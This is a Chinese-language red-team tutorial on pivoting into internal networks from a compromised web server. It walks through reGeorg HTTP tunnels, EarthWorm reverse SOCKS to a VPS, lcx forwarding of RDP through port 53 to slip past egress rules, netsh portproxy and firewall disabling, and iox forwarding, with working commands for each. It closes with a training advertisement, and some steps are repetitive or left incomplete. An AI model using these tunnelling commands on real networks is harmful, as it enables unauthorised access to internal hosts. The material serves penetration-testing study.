内网渗透之端口转发与代理工具学习
内网转发
在渗透测试过程中,我们经常需要进行内网转发,以便方便地访问内网资源。常见的内网转发工具可以分为以下几类:
代理工具
reGeorg端口转发是一种常见的代理工具。它适用于公网服务器只开放了80端口的情况。reGeorg是用Python编写的利用Web进行代理的工具,流量只通过HTTP传输,即所谓的HTTP隧道。reGeorg脚本的特征非常明显,很多杀软都会进行查杀。
假设我们已经获取到了位于公网Web服务器的权限,或者我们拥有可以往公网Web服务器web目录下上传任何文件的权限,但是该服务器开启了防火墙,只开放了80端口。而内网中存在另外一台主机,假设为内网Web服务器。我们需要将公网Web服务器设置为代理,通过公网服务器的80端口访问和探测内网Web服务器的信息。
根据公网服务器网站所使用的脚本类型,上传相应类型的脚本。例如,如果我们搭建的是PHP网站,可以上传tunnel.nosocket.php脚本。
实验过程中,我们可以通过本地与对方192.168.1.111通讯,对方有双网卡,可以与内网192.168.138.138通讯。将脚本上传成功后,可以访问一些脚本,验证上传是否成功。
python2.exe .\reGeorgSocksProxy.py -u http://192.168.1.111/tunnel.nosocket.php -p 1080
Proxychains配置:在/etc/proxychains.conf ,将代理设置成本机的1080端口:socks5 127.0.0.1 1080
然后命令前面加上 proxychains即可。如:proxychains curl 192.168.138.138
然后,使用脚本reGeorgSocksProxy.py监听一个端口,建立一条通讯链路。接下来,我们可以利用代理工具Proxychains或Proxifier进行代理。在Windows平台上,可以使用Proxifier进行代理。
需要注意的是,要将python.exe添加到例外,否则会出现死循环。通过以上步骤,我们就可以通过192.168.1.111主机的代理访问到内网主机的WEB页面了。当然,也可以代理远程桌面,右击远程桌面选择Proxifier进行代理。
EW(EarthWorm)代理
EarthWorm是一套便携的网络工具,具有SOCKS5服务架设和端口转发两个核心功能。EarthWorm能够以正向、反向、多级级联等方式建立网络隧道。EarthWorm提供多个文件适用于不同的操作系统。
该工具共有6种命令格式(ssocksd、rcsocks、rssocks、lcxslave、lcxlisten、lcx_tran)。其中,ssocksd用于普通网络环境的正向连接,rcsocks和rssocks用于反弹连接,其他命令用于多级级联网络环境。
实验过程中,正向连接的过程与reGeorg类似,也是上传相应的脚本,然后通过代理端口使用proxychains或Proxifier进行代理。这里我们实验了反弹SOCKS5代理,本地能与对方192.168.1.111通讯,对方双网卡,能与内网192.168.138.138通讯。
然后在对方机器上操作:
ew_for_Win.exe -s rssocks -d VPS地址 -e 8888
接着,我们使用代理工具进行代理配置。在配置文件/etc/proxychains.conf中将IP配置为VPS的IP和连接的端口。配置完成后,就可以远程登录内网主机了。
LXC端口转发
Lcx是基于socket套接字实现的端口转发工具,有Windows和Linux版本。Windows版是lcx.exe,Linux版是portmap。
在本地端口映射实验中,假设我们已经获取到了对方Web服务器的权限,这时可以通过9080端口远程连接对方内网服务器的3389端口,使用LXC端口转发技术来实现。
在对方Web服务器上执行命令,然后直接访问对方53端口就可以将流量转发到对方的3389端口。
在目标机器执行命令:
Lcx.exe -tran 9080 192.168.138.138 3389
这个意思是将内网目标的3389端口的流量转到9080端口送出去。然后就可以访问对方的9080端口访问到3389
假设我们拿到了一个Web服务器的权限,它联通了内网可以访问内网,现在要通过Web服务器访问到内网中主机的资源来进一步渗透,这时就需要Web服务器中的中间跳板,也就是代理的作用来访问我们无法直接访问的内网主机。
配置好后,就可以访问内网了,例如访问一些无法直接访问的目标内网服务器。在浏览器中输入VPS的地址加上VPS转发的端口,就可以访问到对方内网的服务器了。当然,还有一种方法是我们可以访问WEB服务器,而内网有服务器。但是测试结果显示,对方除了80和53端口,其他端口的流量都不出口。这时,可以通过53端口将流量引出来。
访问规则:攻击者可以访问WEB服务器的80端口,对方DNS流量通往外网,但是其他端口除了80都关闭了。
WEB服务器配置:lcx.exe -tran 53 192.168.138.138 80
然后,我们访问内网主机的服务器也是可以访问到的。
Netsh进行端口转发
Netsh(Network Shell)是Windows系统提供的功能强大的网络配置命令行工具。自Windows XP开始,Windows中就内置了网络端口转发的功能。通过Portproxy模式下的Netsh命令,可以实现Windows系统中的端口转发。
基础命令使用Portproxy模式下的Netsh命令即可实现端口转发,转发命令如下:
VPS <==========
| |=======> web服务器 <==========> 内网服务器
| 双网卡 内网IP:192.168.138.138
攻击机器 公网IP:192.168.1.111
内网IP:192.168.138.136
转发语法:
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
listenaddress – 等待连接的本地IP地址。
listenport – 本地侦听TCP端口。
connectaddress – 将传入连接重定向到本地或远程IP地址(或DNS名称)。
禁用系统防火墙
netsh firewall set opmode disable
启用防火墙
netsh firewall set opmode enable
# windows 7 及以上
netsh advfirewall set allprofiles state off / on
进行端口转发
netsh interface portproxy add v4tov4 listenaddress=192.168.1.111 listenport=1080 connectaddress=192.168.138.138 connectport=3389 #新建一个端口映射,将外网网卡192.168.1.111的1080端口和192.168.138.138的3389端口做个映射
netsh interface portproxy show all #查看端口映射
在环境中,我们需要通过WEB服务器去访问无法直接访问的内网服务器。需要以管理员身份启动命令提示符并执行以下命令。
通过以上步骤,我们可以通过访问WEB服务器的1080端口,将流量转发给内网服务器的3389端口。使用完代理后,可以删除端口转发规则。
如果想要清空当前所有的配置规则,可以执行以下命令。
当然,也可以根据不同的环境配置进行转发,无论是转发内网主机是Linux还是其他系统,配置方法都是类似的,只需要按照当前环境进行相应的配置即可。
Iptables进行端口转发
IPTABLES是与最新的3.5版本Linux内核集成的IP信息包过滤系统。它能够在Linux系统上更好地控制IP信息包过滤和防火墙配置。所有的Linux发行版都可以使用iptables。
接着,可以通过远程登录192.168.1.47的5555端口来访问192.168.1.111的3389端口。如果要转发SSH,也是类似的,只需要将内网22端口转发流量到WEB服务器即可。
iox代理工具
iox功能类似于lcx/ew,但是iox更加优秀。iox在网络编程逻辑上进行了优化,并提供了流量加密和UDP流量转发的功能。iox是基于Golang语言编写的。首先,在Go目录的src子目录下克隆iox项目,并使用go build iox编译成.exe文件。
iox具有以下特性:
- 用法统一,所有参数都是一致的。
- 两种模式:fwd和proxy。
在fwd模式下,可以监听两个端口并将两个连接之间的流量进行转发。在proxy模式下,可以在本地启动Socks5服务,并将服务转发到公网VPS上。需要注意的是,这两种模式的命令必须成对使用,因为它们内部包含了一个简单的协议来控制回连。
./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999
for lcx:
./lcx -slave 1.1.1.1 8888 1.1.1.1 9999
./iox proxy -l 1080
for ew:
./ew -s ssocksd -l 1080
./iox proxy -r 1.1.1.1:9999
./iox proxy -l 9999 -l 1080 // 注意,这两个端口是有顺序的
for ew:
./ew -s rcsocks -l 1080 -e 9999
./ew -s rssocks -d 1.1.1.1 -e 9999
iox还支持UDP转发,只需要添加命令行参数"-u"。需要注意的是,在进行多级连接的转发时,Remote2Remote-UDP-mode必须最后一个被启动。
UDP转发可能会有一些不符合预期的行为。目前在GitHub上只有将本地监听的UDP流量转发到远程主机的例子,所以我只能根据我的理解来实现。
在场景实验中,假设攻击者不能直接访问内网服务器,但可以访问WEB服务器,而WEB服务器可以访问内网服务器。通过WEB服务器转发内网主机的3389端口,就可以访问内网的服务。
VPS <==========
| |=======> web服务器 <==========> 内网服务器
| 双网卡 内网IP:192.168.138.138
攻击机器 公网IP:192.168.1.111
内网IP:192.168.138.136
现在我们在VPS上面监听端口,本地转发端口流量,将目标主机的6666端口流量转发到本地2323端口
wine iox.exe fwd -l 6666 -l 2323
访问成功!通过转发端口,可以访问到内网主机的3389端口。假设我们拿到了一个Web服务器的权限,它联通了内网可以访问内网,现在要通过Web服务器访问到内网中主机的资源来进一步渗透,这时就需要Web服务器中的中间跳板,也就是代理的作用来访问我们无法直接访问的内网主机。
接着在目标机器上面执行命令,把内网机器的3389端口从6666端口转出流量
iox.exe fwd -r VPS_IP:6666 -r 192.168.138.138:3389
首先在目标机器上开启Socks5服务:
iox.exe proxy -l 1080
接着,我们可以通过访问VPS的IP加上2323端口来访问内网主机的3389端口。iox还提供了Proxy代理功能,在VPS上监听一个端口,然后将流量转发到目标主机的相应端口。连接成功后,可以使用proxychains或proxifier进行代理,这里我使用proxifier进行代理,将VPS的IP和端口配置为1080。配置完成后,就可以访问内网主机的3389端口了。
以上是关于内网转发的一些工具和方法,希望对您有所帮助。如有错误,请多多指正!
渗透测试【红队攻防 - 内网渗透】培训服务,专注于职业渗透场景下的尖端技术培训。5号黯区。